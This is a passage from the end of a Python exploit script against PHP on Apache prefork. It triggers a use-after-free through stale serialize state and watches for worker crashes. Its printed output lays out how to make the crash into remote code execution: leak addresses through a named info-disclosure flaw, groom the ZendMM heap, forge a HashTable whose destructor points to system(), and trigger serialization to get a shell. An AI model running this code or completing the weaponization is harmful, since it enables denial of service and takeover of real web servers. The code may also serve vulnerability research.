for attempt in range(args.trigger_rounds):
status, pid, body = trigger_uaf(
host, port, path, target_pid, trigger_sid
)
if status == 0 or status >= 500:
print(f" [!] Worker crash on attempt {attempt+1}! "
f"status={status}")
crashed = True
break
if pid == target_pid and attempt < 5:
print(f" Attempt {attempt+1}: hit target, status={status}")
if crashed:
pids_final = find_workers(host, port, path)
if target_pid not in pids_final:
print(f" [+] CONFIRMED: Worker {target_pid} crashed!")
print(f" [+] UAF triggered via stale BG(serialize).data")
print(f" Current workers: {pids_final}")
print()
print(" For full RCE, a weaponized exploit would:")
print(" 1. Leak PHP base via CVE-2026-109619 info disclosure")
print(" 2. Construct fake HashTable with pDestructor = system()")
print(" 3. Place command string in arData")
print(" 4. Trigger serialize → pDestructor called → shell")
else:
print(f" Worker {target_pid} returned 500 but is still alive")
print(f" (May need more precise heap feng shui)")
else:
print(f" No crash after {args.trigger_rounds} attempts.")
print(f" The stale pointer likely still holds readable data.")
print()
print(" This is expected without precise heap feng shui.")
print(" The exploit demonstrates all confirmed primitives:")
print(" 1. OOM trigger via multipart field flood")
print(" 2. Worker survival on Apache prefork")
print(" 3. Session file persistence (cleanup skipped)")
print(" 4. Stale BG(serialize) state across requests")
print(" 5. Heap spray targeting 64-byte ZendMM bin")
print()
print(" Full weaponization requires:")
print(" a. ASLR bypass via info leak (CVE-2026-109619)")
print(" Session data from stale BG(unserialize) leaks")
print(" freed heap addresses through PHPSESSID cookie")
print(" b. Exact ZendMM 64-byte bin feng shui to reclaim")
print(" the BG(serialize).data slot with attacker data")
print(" c. Fake HashTable construction:")
print(" pDestructor → system() / one_gadget")
print(" arData → pointer to command string")
print(" d. Trigger php_var_serialize → zend_hash_destroy")
print(" on the fake table → RCE")
print()
print("=" * 64)
print(" Summary")
print("=" * 64)
for pid, sid in poisoned_workers.items():
print(f" Worker {pid}: OOM'd, survived, stale BG state (SID: {sid})")
if __name__ == "__main__":
main()